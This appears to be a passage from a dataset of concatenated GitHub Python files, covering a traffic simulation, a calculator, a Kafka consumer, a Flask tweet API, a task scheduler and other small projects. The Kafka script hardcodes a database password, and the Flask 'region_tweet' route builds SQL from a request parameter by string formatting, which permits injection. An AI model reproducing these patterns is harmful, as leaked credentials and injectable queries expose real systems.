for i in range(0, amount):\r\n all_jam_times.append(key)\r\n \r\n avg_jam_time = sum(all_jam_times) / len(all_jam_times)\r\n print(\"Average travel time:\" + str(avg_jam_time))\r\n print(\"Standard deviation:\" + str(np.std(all_jam_times)))\r\n\r\n# --- MEASURE 2 ---\r\ndef get_measure_2_old(sim):\r\n # Number of vehicles in a jam\r\n x = []\r\n y = []\r\n for (key, amount) in sim.delayed_veh.items():\r\n x.append(key)\r\n y.append(amount)\r\n #x = x[1:]\r\n #y = y[1:]\r\n y = [i / sum(y) for i in y]\r\n plt.plot(x, y, label = \"Time in Jam\")\r\n plt.xlabel(\"Number of vehicles in jam\")\r\n plt.ylabel(\"Fraction of time spent\")\r\nget_measure_2_old(sim)\r\n\r\ndef get_measure_2(sim):\r\n # Number of vehicles in a jam\r\n x = []\r\n y = []\r\n first = ''\r\n sorted_delays = {k: v for k, v in sorted(sim.delayed_veh.items(), key=lambda item: item[0])}\r\n for (key, amount) in sorted_delays.items():\r\n group = int(key // 1000)\r\n if(first == ''):\r\n first = group\r\n if(len(x) == group - first):\r\n print(group)\r\n print('first')\r\n x.append(group * 1000)\r\n y.append(amount)\r\n else:\r\n y[group - first - 1] += amount\r\n\r\n y = [i / sum(y) for i in y]\r\n plt.bar(x, y, width=500)\r\n plt.xticks(x, x)\r\n plt.xlabel(\"Number of vehicles in jam\")\r\n plt.ylabel(\"Fraction of time spent\")\r\n plt.plot()\r\nget_measure_2(sim)\r\n\r\ndef get_measure_3(sim):\r\n # --- MEASURE 3 --- \r\n x = []\r\n y = []\r\n sorted_jams = {k: v for k, v in sorted(sim.jams.items(), key=lambda item: item[0])}\r\n for (key, amount) in sorted_jams.items():\r\n x.append(key)\r\n y.append(amount)\r\n y = [i / sum(y) for i in y]\r\n plt.bar(x, y, label = \"Time in Jam\")\r\n plt.xlabel(\"Amount of jams\")\r\n plt.ylabel(\"Time spent\")\r\n","repo_name":"abhishekmaha23/2DI66-Advanced-Simulation","sub_path":"Assignment 4/Question 4/simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":15357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"71724064109","text":"from sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import GridSearchCV\n\nparam_grid = {\n \"max_depth\" : [3, None],\n \"max_features\" : [1, 3, 5],\n \"min_samples_split\": [2, 3, 10],\n \"min_samples_leaf\" : [1, 3, 10],\n \"bootstrap\" : [True, False],\n \"criterion\" : [\"gini\", \"entropy\"]\n}\n\nrf = RandomForestClassifier()\nclf = GridSearchCV(rf, param_grid=param_grid, n_jobs=-1, scoring='roc_auc')\n","repo_name":"dataiku/academy-samples","sub_path":"coder-workshop/python_library/custom_random_forest.py","file_name":"custom_random_forest.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"71710610671","text":"# importing oprtstor to prtform mathematical operations\nfrom operator import pow, truediv, mul, add, sub \nimport time\n\n\n\noperators = {\n '+': add,\n '-': sub,\n '*': mul,\n '/': truediv\n}\n\n#main function\ndef calculate_main(input_string):\n if input_string.isdigit():\n return float(input_string)\n for c in operators.keys():\n left, operator, right = input_string.partition(c)\n if operator in operators:\n return operators[operator](calculate_main(left), calculate_main(right))\n\ncalc = input()\nprint(\"Answer: \" + str(calculate_main(calc)))\n\ntime.sleep(20)","repo_name":"arungautam071/calculator","sub_path":"calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"74754194990","text":"#!/usr/bin/env python3\nimport yt_dlp as youtube_dl\nimport ffmpeg\n\ndef stream_audio_from_youtube(url):\n ydl_opts = {\n 'format': 'bestaudio/best',\n 'postprocessors': [{\n 'key': 'FFmpegExtractAudio',\n 'preferredcodec': 'mp3',\n }],\n }\n\n with youtube_dl.YoutubeDL(ydl_opts) as ydl:\n info = ydl.extract_info(url, download=False)\n stream_url = info['url']\n\n return stream_url\n\ndef play_audio_with_ffmpeg(stream_url):\n input_audio = ffmpeg.input(stream_url)\n out_audio = ffmpeg.output(input_audio, 'default', format='alsa')\n ffmpeg.run(out_audio)\n\nif __name__ == \"__main__\":\n youtube_url = \"https://www.youtube.com/watch?v=Rz_1tNB5o2Y\" # Replace with your hardcoded URL\n audio_stream_url = stream_audio_from_youtube(youtube_url)\n play_audio_with_ffmpeg(audio_stream_url)\n","repo_name":"peterkelly70/beathoven","sub_path":"testplay.py","file_name":"testplay.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"1607485653","text":"# This is a sample Python script.\n\n# Press Maj+F10 to execute it or replace it with your code.\n# Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings.\n\n\n\n\n\n\n\n\n\n\ndef generate_blank_grid():\n blank_grid = [[EMPTY_CELL for _ in range(WIDTH)] for _ in range(HEIGHT)]\n for i in range(0, HEIGHT, 2):\n blank_grid[i][0] = NOT_EMPTY_CELL\n for i in range(0, WIDTH, 2):\n blank_grid[0][i] = NOT_EMPTY_CELL\n\n return blank_grid\n\n\ndef print_grid(grid):\n for row in grid:\n print(\"|\".join(row), end=\"\\n\")\n\n\ndef generate_arrowword(word_list):\n blank_grid = generate_blank_grid()\n arrowword = backtracking(blank_grid, 0, word_list)\n return arrowword\n\n\n\n\n\n\nif __name__ == '__main__':\n grid = generate_blank_grid()\n dictionary = get_random_words(200)\n print(dictionary)\n if can_place_word(grid, dictionary[0], 1, 0, HORIZONTAL):\n print_grid(place_word(grid, dictionary[0], 1, 0, HORIZONTAL))\n\n #arrowword = generate_arrowword(dictionary)\n\n # if arrowword:\n # for row in arrowword:\n # print(\" \".join(row))\n # else:\n # print(\"Aucune solution trouvée\")\n","repo_name":"LaurentMesguen/ArrowWordCreator","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"72384600429","text":"import os\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.svm import LinearSVC\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.externals import joblib\n\nimport load_dataset\nimport feature_extract\n\nfilename = 'classifier'\n\n\ndef train_classifier():\n features = feature_extract.get_features()\n labels = load_dataset.get_labels()\n\n X_train, X_test, y_train, y_test = train_test_split(features, labels, test_size=0.1, random_state=7)\n\n clf = Pipeline([\n (\"scaler\", StandardScaler()),\n (\"svm_clf\", LinearSVC())\n ])\n\n clf.fit(X_train, y_train)\n joblib.dump(clf, filename)\n\n print('Validation accuracy:', clf.score(X_test, y_test))\n\n return clf\n\n\ndef get_classifier(use_cache=True):\n if use_cache and os.path.exists(filename):\n return joblib.load(filename)\n else:\n return train_classifier()\n\n\nif __name__ == '__main__':\n train_classifier()\n","repo_name":"CtheSky/Udacity-Vehcile-Detection","sub_path":"classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"71851804591","text":"def number(n):\n n = [int(i) for i in str(n)]\n even = 0\n uneven = 0\n for i in n:\n if i % 2 == 0:\n even += 1\n else:\n uneven += 1\n return f\"Количество четных чисел: {even}, количество нечетных чисел: {uneven}.\"\n\n\nif __name__ == \"__main__\":\n print(number(int(input(\"Введите число: \"))))\n","repo_name":"BasovAnton/pythonProject","sub_path":"5.3.py","file_name":"5.3.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"10688309703","text":"import os\nimport sys\nimport time\nimport shutil\nimport pandas as pd\nfrom pathlib import Path\nfrom watchdog.observers import Observer\nfrom watchdog.events import FileSystemEventHandler\n\npath = input(\"\"\"\nPlease enter the directory you want to monitor, if not add the directory it will take the directory where the script is running\n\"\"\")\n\npathGeneral = os.getcwd()\nif len(path) == 0:\n path = pathGeneral + \"/Files\"\n if not os.path.isdir(path):\n os.mkdir(path)\n\n print(\"The default directory is used\")\n\nif not os.path.isdir(path):\n ValueError(\"Directory not found\")\n sys.exit(0)\n\nprocess = pathGeneral + \"/Processed\" \nnot_process = pathGeneral + \"/Not applicable\"\nif not os.path.isdir(process):\n os.mkdir(process)\n\nif not os.path.isdir(not_process):\n os.mkdir(not_process)\n\nclass Watcher:\n directory_to_watch = path\n observer = Observer()\n \n @classmethod\n def run(cls):\n event_handler = Handler()\n cls.observer.schedule(event_handler, cls.directory_to_watch, recursive=True)\n cls.observer.start()\n try:\n while True:\n time.sleep(5)\n except:\n cls.observer.stop()\n print(\"Error\")\n\n cls.observer.join()\n\nclass Handler(FileSystemEventHandler):\n\n @staticmethod\n def on_any_event(event):\n if event.is_directory:\n return None\n\n if event.event_type == 'created' and Path(event.src_path).suffix in [\".xlsx\", \".xls\"]:\n print(event.src_path)\n file_detect = pd.ExcelFile(event.src_path)\n master = pd.ExcelFile(\"MasterBook.xlsx\")\n with pd.ExcelWriter(\"MasterBook.xlsx\", engine='xlsxwriter') as writer:\n for sheet_name in master.sheet_names:\n sheet = master.parse(sheet_name)\n sheet.to_excel(writer, sheet_name=sheet_name)\n \n for sheet_name in file_detect.sheet_names:\n sheet = file_detect.parse(sheet_name)\n sheet.to_excel(writer, sheet_name=sheet_name)\n\n shutil.copyfile(event.src_path, process + f\"/{sheet_name}_Copy{Path(event.src_path).suffix}\")\n #os.remove(event.src_path)\n print(f\"File {event.src_path} moved to {process}\")\n\n if event.event_type == 'created' and Path(event.src_path).suffix not in [\".xlsx\", \".xls\"]:\n filename = event.src_path.split(\"/\")[-1]\n shutil.copyfile(event.src_path, not_process + f\"/{filename}\")\n #os.remove(event.src_path)\n print(f\"File {event.src_path} moved to {process}\")\n\nif __name__ == \"__main__\":\n Watcher.run()\n","repo_name":"Jebux01/Genpac","sub_path":"searchFiles.py","file_name":"searchFiles.py","file_ext":"py","file_size_in_byte":2648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"30510567406","text":"from django.shortcuts import render\nfrom django.http import HttpResponse as response\n\nfrom models import Spreadable,Image,Playable,Spreaded\nfrom efforia.main import Efforia\n\nclass Spreadables(Efforia):\n def __init__(self): pass\n def view_spreadable(self,request):\n spread_id = int(request.GET['id'])\n s = Spreadable.objects.filter(id=spread_id)[0]\n return render(request,'spreadview.jade',{'content':s.content,'spreadid':spread_id},content_type='text/html')\n def view_playable(self,request):\n playable_id = int(request.GET['id'])\n e = Playable.objects.filter(id=playable_id)[0]\n return render(request,'videoview.jade',{'playableid':playable_id},content_type='text/html')\n def view_images(self,request):\n image_id = int(request.GET['id'])\n i = Image.objects.filter(id=image_id)[0]\n return render(request,'imageview.jade',{'description':i.description,'image':i.link,'imageid':image_id},content_type='text/html')\n def spreadspread(self,request):\n return render(request,'spread.jade',{'id':request.GET['id']},content_type='text/html')\n def spreadobject(self,request):\n u = self.current_user(request)\n c = request.POST['content']\n spread = Spreadable(user=u,content=c,name='!'+u.username)\n spread.save()\n objid = request.POST['id']\n token = request.POST['token']\n s = Spreaded(name=token,spread=objid,spreaded=spread.id,user=u)\n s.save()\n return response('Spreaded object created successfully')\n def view_spreaded(self,request):\n spreadables = []; u = self.current_user(request)\n objid = request.GET['spreaded_id']\n token = request.GET['spreaded_token']\n typ,rel = self.object_token(token)\n sprdd = globals()[rel].objects.filter(spread=objid,name=token+'!')\n spreadables.append(globals()[typ].objects.filter(id=sprdd[0].spread)[0])\n for s in sprdd: spreadables.append(Spreadable.objects.filter(id=s.spreaded)[0])\n return self.view_mosaic(request,spreadables)\n","repo_name":"williamlagos/django-coding","sub_path":"pandora-hub/content.py","file_name":"content.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"40379012479","text":"\"\"\"dias Scheduler.\"\"\"\nimport concurrent.futures\nimport logging\nimport threading\nimport time\nfrom dias import Job, TaskQueue, DiasConcurrencyError\nfrom dias.utils import timestamp2str\nfrom prometheus_client import make_wsgi_app, Counter\nfrom wsgiref.simple_server import make_server\n\n# Minimum value for config value trigger_interval dias allows (in minutes)\nMIN_TRIGGER_INTERVAL_MINUTES = 10\n\n\ndef stop_scheduler(pidfile):\n \"\"\"\n Stop a running scheduler.\n\n TODO: Not implemented yet.\n This function will block until the scheduler has terminated.\n\n Parameters\n ----------\n pidfile : None\n Pidfile providing the PID of the scheduler.\n\n Raises\n ------\n NotImplementedError\n Because someone has to implement this.\n \"\"\"\n raise NotImplementedError\n\n\ndef _prometheus_client(barrier, logger, port):\n \"\"\"\n Boilerplate for the prometheus client thread.\n\n This function is the entrypoint for the prometheus client thread.\n It is responsible for starting the WSGI app that implements the client.\n \"\"\"\n # Create the WSGI HTTP app\n app = make_wsgi_app()\n httpd = make_server(\"\", port, app)\n logger.info(\"Starting prometheus client on port {}.\".format(httpd.server_port))\n\n # Signal we're ready\n barrier.wait()\n\n # Go\n httpd.serve_forever()\n\n\nclass Scheduler:\n \"\"\"\n dias Scheduler.\n\n Puts tasks in a queue and runs them one by one when told. Also calls finish\n method of tasks.\n\n Metrics\n -------\n dias_timeouts_total\n ...................\n Counter for task timeouts. When a task is still running when rescheduled,\n this is incremented.\n\n Labels\n task : Task name.\n \"\"\"\n\n def __init__(self, config):\n \"\"\"\n Construct the dias scheduler.\n\n Parameters\n ----------\n config : dict\n dias configuration. Expected to contain the `log_level` and\n `prometheus_client_port`.\n \"\"\"\n self.metric_timeout = Counter(\n \"timeouts\",\n \"Counter for task timeouts. Incremented if a task is \"\n \"still running when rescheduled.\",\n labelnames=[\"task\"],\n namespace=\"dias\",\n )\n\n self.config = config\n self.jobs = list()\n\n # Set the module logger.\n self.logger = logging.getLogger(\"dias\")\n self.logger.setLevel(config[\"log_level\"])\n\n # Synchronization barrier\n barrier = threading.Barrier(2)\n\n # Create the prometheus client thread\n self.prom_client = threading.Thread(\n target=_prometheus_client,\n args=(barrier, self.logger, config[\"prometheus_client_port\"]),\n )\n self.prom_client.daemon = True\n self.prom_client.start()\n\n # Wait for prometheus client start-up\n barrier.wait()\n\n # Prepare tasks\n self.__init_task_queue()\n\n def __init_task_queue(self):\n # This is the notional start time of the scheduler\n reference_time = time.time()\n\n # Get all the tasks ready\n for task in self.config.tasks:\n task.prepare(\n reference_time,\n log_level_override=self.config[\"log_level_override\"],\n start_now=self.config[\"start_now\"],\n )\n\n # Increment counter metric with 0 for it to start existing.\n self.metric_timeout.labels(task=task.name).inc(0)\n\n # Create the tasks queue\n self.queue = TaskQueue(self.config.tasks)\n\n # Don't need this anymore\n del self.config.tasks\n\n self.logger.info(\"Initialised {0} tasks\".format(len(self.queue)))\n if self.config[\"log_level\"] == \"DEBUG\":\n for i in range(len(self.queue)):\n self.logger.debug(\n \" {0}: {1} @ {2}\".format(\n i, self.queue[i].name, self.queue[i].start_time\n )\n )\n\n def next_task(self):\n \"\"\"\n Get the next scheduled task.\n\n Returns\n -------\n :class:`Task`\n The next task in the queue.\n \"\"\"\n return self.queue.next_task()\n\n def __execute_task(self, task):\n \"\"\"\n Submit a task to the executor.\n\n Parameters\n ----------\n :class:`Task` object\n the task to be executed.\n \"\"\"\n # Create a new job. This will submit the task to the executor\n try:\n # Raises DiasConcurrencyError if the task is currently running\n job = Job(task, self.executor)\n\n # Remember the job\n self.jobs.append(job)\n except DiasConcurrencyError:\n self.logger.warning(\n \"Job running long. \" \"Skipping execution of task {0}\".format(task.name)\n )\n self.metric_timeout.labels(task=task.name).inc()\n\n # Re-schedule the task for next time\n task.increment()\n self.queue.update(task)\n\n def start(self, pidfile=None):\n \"\"\"\n Start the scheduler main loop.\n\n This is the entry point for the scheduler main loop.\n\n Parameters\n ----------\n pidfile : None\n TODO: Not implemented.\n \"\"\"\n # This is the executor for workers\n self.executor = concurrent.futures.ThreadPoolExecutor()\n\n # Service loop\n while True:\n task_next = self.queue.next_task()\n self.logger.debug(\n \"Next task scheduled is: {0} at {1} UTC\".format(\n task_next.name, timestamp2str(task_next.start_time)\n )\n )\n\n # If it's time to execute the next task, do so\n if time.time() >= task_next.start_time:\n # Create a new job for the task and remember it\n self.__execute_task(task_next)\n\n # short-circuit the loop to look for another task ready to be\n # scheduled\n continue\n\n # Look for jobs that have completed\n remaining = []\n for job in self.jobs:\n if job.done():\n pass\n else:\n remaining.append(job)\n self.jobs = remaining\n\n # Wait for next iteration\n time.sleep(10)\n\n def finish_tasks(self):\n \"\"\"\n Finish all tasks.\n\n Calls the finish method of the analyzers of each task.\n \"\"\"\n for task in self.queue:\n task.analyzer.finish()\n","repo_name":"chime-experiment/dias","sub_path":"dias/scheduler.py","file_name":"scheduler.py","file_ext":"py","file_size_in_byte":6505,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"33693283790","text":"import pytest\nfrom fastapi.testclient import TestClient\n\nfrom webapp.main import app\n\n\nclient = TestClient(app)\n\n\n@pytest.mark.run(order=1)\ndef test_read_main():\n response = client.get(\"/api/v1/talk\", params={\"phrase\": \"Привет! Как дела?\"})\n assert response.status_code == 200\n assert response.json()[\"response\"] != \"\"\n\n\n@pytest.mark.run(order=5)\ndef test_history():\n response = client.get(\"/api/v1/talk/history\")\n assert response.status_code == 200\n assert response.json()[\"history\"] != \"\"\n\n\nif __name__ == \"__main__\":\n pytest.main()\n","repo_name":"Armann7/the_benders_mouth","sub_path":"tests/test_webapp.py","file_name":"test_webapp.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"34820393785","text":"# -*- coding: utf-8 -*-\n\nimport array\nimport asyncio\nimport functools\nimport json\nimport logging\nimport queue\nimport socket\nimport threading\nimport time\n\nfrom utils import send_msg, recv_msg\n\nlogger = None\n\nq = queue.Queue()\n\n\nclass GameProtocol(asyncio.Protocol):\n def __init__(self, loop):\n self.loop = loop\n self.transport = None\n\n def connection_made(self, transport):\n self.transport = transport\n\n def connection_lost(self, exc):\n client = self.transport.get_extra_info('peername')\n logger.info('connection to %s closed' % (client,))\n if exc:\n logger.info(exc)\n\n def data_received(self, data):\n logger.info(data.decode())\n\n def eof_received(self):\n self.transport.close()\n\n\nclass Game(threading.Thread):\n def __init__(self, loop, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n def run(self):\n while True:\n try:\n sock = q.get(block=False)\n except queue.Empty:\n pass\n else:\n logger.info(threading.active_count())\n\n time.sleep(0.01)\n\n\nclass Worker:\n def __init__(self, worker, server_sock):\n self.worker = worker\n self.server_sock = server_sock\n self.socks = []\n self.loop = asyncio.new_event_loop()\n self.loop.add_reader(self.server_sock, self.reader)\n\n self.set_logger()\n\n logger.info('worker %s created' % self.worker)\n\n self.start()\n\n def set_logger(self):\n global logger\n\n logger = logging.getLogger(self.worker + __name__)\n ch = logging.StreamHandler()\n logger.addHandler(ch)\n logger.setLevel(logging.INFO)\n\n def start(self):\n self.loop.run_forever()\n self.loop.close()\n\n def reader(self):\n data, fds = recv_msg(self.server_sock)\n for msg in data.decode().split(\"\\r\\n\"):\n if not msg:\n continue\n try:\n msg = json.loads(msg)\n except ValueError as e:\n logger.info(e)\n continue\n if 'sock' in msg:\n family = msg['family']\n type = msg['type']\n proto = msg['proto']\n for fd in fds:\n sock = socket.fromfd(fd, family, type, proto)\n sock.setblocking(False)\n self.socks.append(sock)\n coro = self.loop.create_connection(lambda: GameProtocol(self.loop),\n sock=sock)\n future = self.loop.create_task(coro)\n future.add_done_callback(functools.partial(self.client_disconnected,\n sock.getpeername()))\n else:\n logger.info('worker %s received: %s' % (self.worker, msg))\n\n def client_disconnected(self, client, future):\n send_msg(self.server_sock, client)\n\n tasks = future.all_tasks(self.loop)\n if not tasks or (future in tasks and len(tasks) == 1):\n self.loop.stop()\n\n\nif __name__ == '__main__':\n w = Worker('game-worker0')\n w.run()\n","repo_name":"mpyatishev/test_asyncio","sub_path":"worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":3212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"7187234447","text":"# 5. Python uses the # character to mark the beginning of a comment. \n# The comment continues from the # character to the end of the line containing it.\n \n# Python does not provide any mechanism for ending a comment before the end of a line.\n# In this exercise, you will create a program that removes all of the comments \n# from a Python source file. \n\n# Check each line in the file to determine if a # character is present.\n# If it is then your program should remove all of the characters from the # character \n# to the end of the line \n# (we will ignore the situation where the comment character occurs inside of a string). \n# Save the modified file using a new name. \n\n# Both the name of the input file and the name of the output file should be read \n# from the user.\n\nimport argparse\n\nparser = argparse.ArgumentParser(description=\"Desc\")\n\nparser.add_argument(dest=\"filename\", \n help=\"input file with two matrices\", \n metavar=\"FILE\",\n nargs='+')\n\nargs = parser.parse_args()\n\nsource_f, output_f = args.filename\n\n\nnew_file=open(output_f,\"a+\")\n\nwith open(source_f) as s_file:\n for line in s_file:\n if \"#\" in line:\n line = line[:line.index(\"#\")]\n new_file.write(line)\n new_file.close()\n\n \n \n ","repo_name":"grigorghazaryan/python-homeworks","sub_path":"Homework Dict and Files/homework_05.py","file_name":"homework_05.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"40282000474","text":"import json\nfrom kafka import KafkaConsumer\nfrom kafka import KafkaProducer\nimport psycopg2\n\nconn = psycopg2.connect(user=\"postgres\",\n password=\"k7147bdz0.\",\n host=\"localhost\",\n port=\"5432\",\n database=\"postgres\")\ncur=conn.cursor()\n\nORDER_KAFKA_TOPIC=\"order_details\"\nORDER_CONFIRMED_KAFKA_TOPIC=\"order_confirmed\"\n\n\nconsumer=KafkaConsumer(\n ORDER_KAFKA_TOPIC,\n bootstrap_servers=\"localhost:9092\"\n)\nproducer=KafkaProducer(\n bootstrap_servers=\"localhost:9092\"\n)\n\nprint(\"Gonna start listening\")\n\n\nwhile True:\n\n for message in consumer:\n print(\"Ongoing transactions\")\n cosumed_message=json.loads(message.value.decode())\n print(cosumed_message)\n\n user_id=cosumed_message[\"user_id\"]\n cost = cosumed_message[\"cost\"]\n\n cur.execute(\"INSERT INTO mail (mail_id) VALUES ( %s )\",(user_id,))\n conn.commit()\n\n\n print(\"Successful Transactions...\")\n\n data={\"customer_email\":user_id}\n\n producer.send(\n ORDER_CONFIRMED_KAFKA_TOPIC,\n json.dumps(data).encode(\"utf-8\")\n )\n","repo_name":"ramazanolcay/TASKS","sub_path":"TASK_7_(Kafka)/Kafka_py_files/transactions_backend.py","file_name":"transactions_backend.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"26013177927","text":"import json\nimport re\nimport string\n\nimport requests\nimport rootpath\nimport twitter\nfrom flask import Blueprint, make_response, jsonify, request as flask_request\nfrom router.data_router import fill_series, gen_date_series\n\nrootpath.append()\nfrom backend.data_preparation.connection import Connection\nfrom paths import TWITTER_API_CONFIG_PATH\nfrom utilities.ini_parser import parse\n\nbp = Blueprint('tweet', __name__, url_prefix='/tweet')\napi = twitter.Api(**parse(TWITTER_API_CONFIG_PATH, 'twitter-API'))\n\n\n@bp.route(\"/live-tweet\")\ndef send_live_tweet():\n \"\"\"\n (unused)(deprecated)\n :return:\n \"\"\"\n # Simulate request from a mac browser\n headers = {\n 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) '\n 'Chrome/72.0.3626.121 Safari/537.36 '\n }\n\n query_words = 'fire' # for now let's use fire for testing\n\n resp = requests.get(\n f'https://twitter.com/i/search/timeline?f=tweets&vertical=news&q={query_words}%20near%3A\\\"United%20States'\n f'\\\"%20within%3A8000mi&l=en&src=typd', headers=headers)\n\n # Clear all punctuation from raw response body\n tr = str.maketrans(\"\", \"\", string.punctuation)\n content = str(resp.content)\n content = content.translate(tr)\n\n id_set = set()\n return_dict = list()\n for id in re.findall(\"dataitemid(\\d+)\", content):\n obj = json.loads(str(api.GetStatus(id)))\n if \"place\" in obj and obj[\"id\"] not in id_set:\n left = obj[\"place\"]['bounding_box']['coordinates'][0][0]\n right = obj[\"place\"]['bounding_box']['coordinates'][0][2]\n center = [(x + y) / 2.0 for x, y in zip(left, right)]\n id_set.add(obj[\"id\"])\n return_dict.append({\"lat\": center[1], \"long\": center[0], \"id\": id})\n resp = make_response(jsonify(return_dict))\n return resp\n\n\n@bp.route(\"/fire-tweet\")\ndef send_fire_tweet_data():\n \"\"\"\n This func gives all historical tweets objects with id\n\n :returns: a list of tweet objects, each with time, lat, long, id\n \"\"\"\n resp = make_response(\n jsonify([{\"create_at\": time.isoformat(), \"long\": lon, \"lat\": lat, \"id\": str(id)} for time, lon, lat, _, _, id in\n Connection().sql_execute(\n \"select r.create_at, l.top_left_long, l.top_left_lat, l.bottom_right_long, l.bottom_right_lat, r.id \"\n \"from records r,locations l where r.id=l.id\")]))\n return resp\n\n\n@bp.route(\"/recent-tweet\")\ndef send_recent_tweet_data():\n \"\"\"\n This func gives recent tweets objects which must has a image\n here the interval is 10 month\n\n :returns: a list of tweet objects, each with time, lat, long, text, id\n \"\"\"\n with Connection() as conn:\n cur = conn.cursor()\n livetweet_query = \"select it.create_at, it.top_left_long, it.top_left_lat, it.bottom_right_long, it.bottom_right_lat, it.id, it.text, i.image_url, it.profile_pic, it.user_name \" \\\n \"from (select r.create_at, l.top_left_long, l.top_left_lat, l.bottom_right_long, l.bottom_right_lat, l.id, r.text, r.profile_pic, r.user_name \" \\\n \"from records r, locations l where r.id=l.id and r.profile_pic is not null and r.create_at between (SELECT current_timestamp - interval '10 month') and current_timestamp) AS it LEFT JOIN images i on i.id = it.id where i.image_url is not null \"\n cur.execute(livetweet_query)\n resp = make_response(\n jsonify(\n [{\"create_at\": time.isoformat(), \"long\": long, \"lat\": lat, \"id\": id, \"text\": text, \"image\": image,\n \"profilePic\": profilePic, \"user\": user} for\n time, long, lat, _, _, id, text, image, profilePic, user in\n cur.fetchall()]))\n cur.close()\n return resp\n\n\n@bp.route('/region-tweet')\ndef region_tweet():\n \"\"\"\n tweet count within specific administrative boundary\n\n @:param tweet_id: integer\n @:param timestamp: ISO string\n @:param days: integer\n :return: [ [date, count], ... ]\n \"\"\"\n region_id = int(flask_request.args.get('region_id'))\n timestamp_str = flask_request.args.get('timestamp')\n days = int(flask_request.args.get('days', 7))\n\n # generate date series. values are set to None/null\n date_series = gen_date_series(days, timestamp_str)\n\n query = '''\n select date(rft.create_at), count(rft.\"id\") from\n (\n SELECT id, create_at from records rec\n where rec.create_at < TIMESTAMP '{timestamp}' -- UTC timezong\n -- returning PDT without timezong label\n and rec.create_at > TIMESTAMP '{timestamp}' - interval '{days} day'\n ) as rft,\n (\n SELECT id from locations loc,\n (\n SELECT geom from us_states WHERE state_id={region_id}\n union\n SELECT geom from us_counties WHERE county_id={region_id}\n union\n SELECT geom from us_cities WHERE city_id={region_id}\n ) as region\n where st_contains(region.geom, st_makepoint(loc.top_left_long, loc.top_left_lat))\n ) as gids\n where rft.\"id\"= gids.\"id\"\n GROUP BY date(rft.create_at)\n '''\n\n with Connection() as conn:\n cur = conn.cursor()\n cur.execute(query.format(region_id=region_id, timestamp=timestamp_str, days=days))\n resp = make_response(jsonify(\n fill_series(date_series, cur.fetchall())\n ))\n return resp\n\n\n@bp.route(\"/tweet-from-id\", methods=['GET'])\ndef tweet_from_id():\n \"\"\"\n get detail of specific tweet\n\n @:param tweet_id: integer\n :return: JSON {\"id\", \"create_at\", \"text\", \"user\", \"profilePic\", \"image\"}\n \"\"\"\n tweet_id = int(flask_request.args.get('tweet_id'))\n\n query = '''\n select records.id, create_at, text,user_name,profile_pic,image_url from\n (\n SELECT id, create_at, text,user_name,profile_pic from records\n WHERE id = %s\n ) as records\n LEFT JOIN\n images\n on records.id = images.id\n LIMIT 1\n '''\n with Connection() as conn:\n cur = conn.cursor()\n cur.execute(query, (tweet_id,))\n if cur.rowcount:\n id_, create_at, text, user_name, profile_pic, image_url = cur.fetchone()\n resp = make_response(jsonify({\n 'id': str(id_), # Javascript cannot handle int8, sending as string\n 'create_at': create_at,\n 'text': text,\n 'user': user_name,\n 'profilePic': profile_pic,\n 'image': image_url\n }))\n else:\n resp = ''\n\n return resp\n","repo_name":"Yicong-Huang/Wildfires","sub_path":"backend/web/router/tweet_router.py","file_name":"tweet_router.py","file_ext":"py","file_size_in_byte":6611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"74284436910","text":"import logging\n\n# will choose the FIRST match it comes too\n# or define routes in your controller using @route(r'')\nroute_list = [\n # (r\"/\", my_controller.MyHandler ),\n]\n\n\nclass route(object):\n \"\"\"\n taken from http://gist.github.com/616347\n\n decorates RequestHandlers and builds up a list of routables handlers\n\n Tech Notes (or \"What the *@# is really happening here?\")\n --------------------------------------------------------\n\n Everytime @route('...') is called, we instantiate a new route object which\n saves off the passed in URI. Then, since it's a decorator, the function is\n passed to the route.__call__ method as an argument. We save a reference to\n that handler with our uri in our class level routes list then return that\n class to be instantiated as normal.\n\n Later, we can call the classmethod route.get_routes to return that list of\n tuples which can be handed directly to the tornado.web.Application\n instantiation.\n\n Example\n -------\n\n @route('/some/path')\n class SomeRequestHandler(RequestHandler):\n 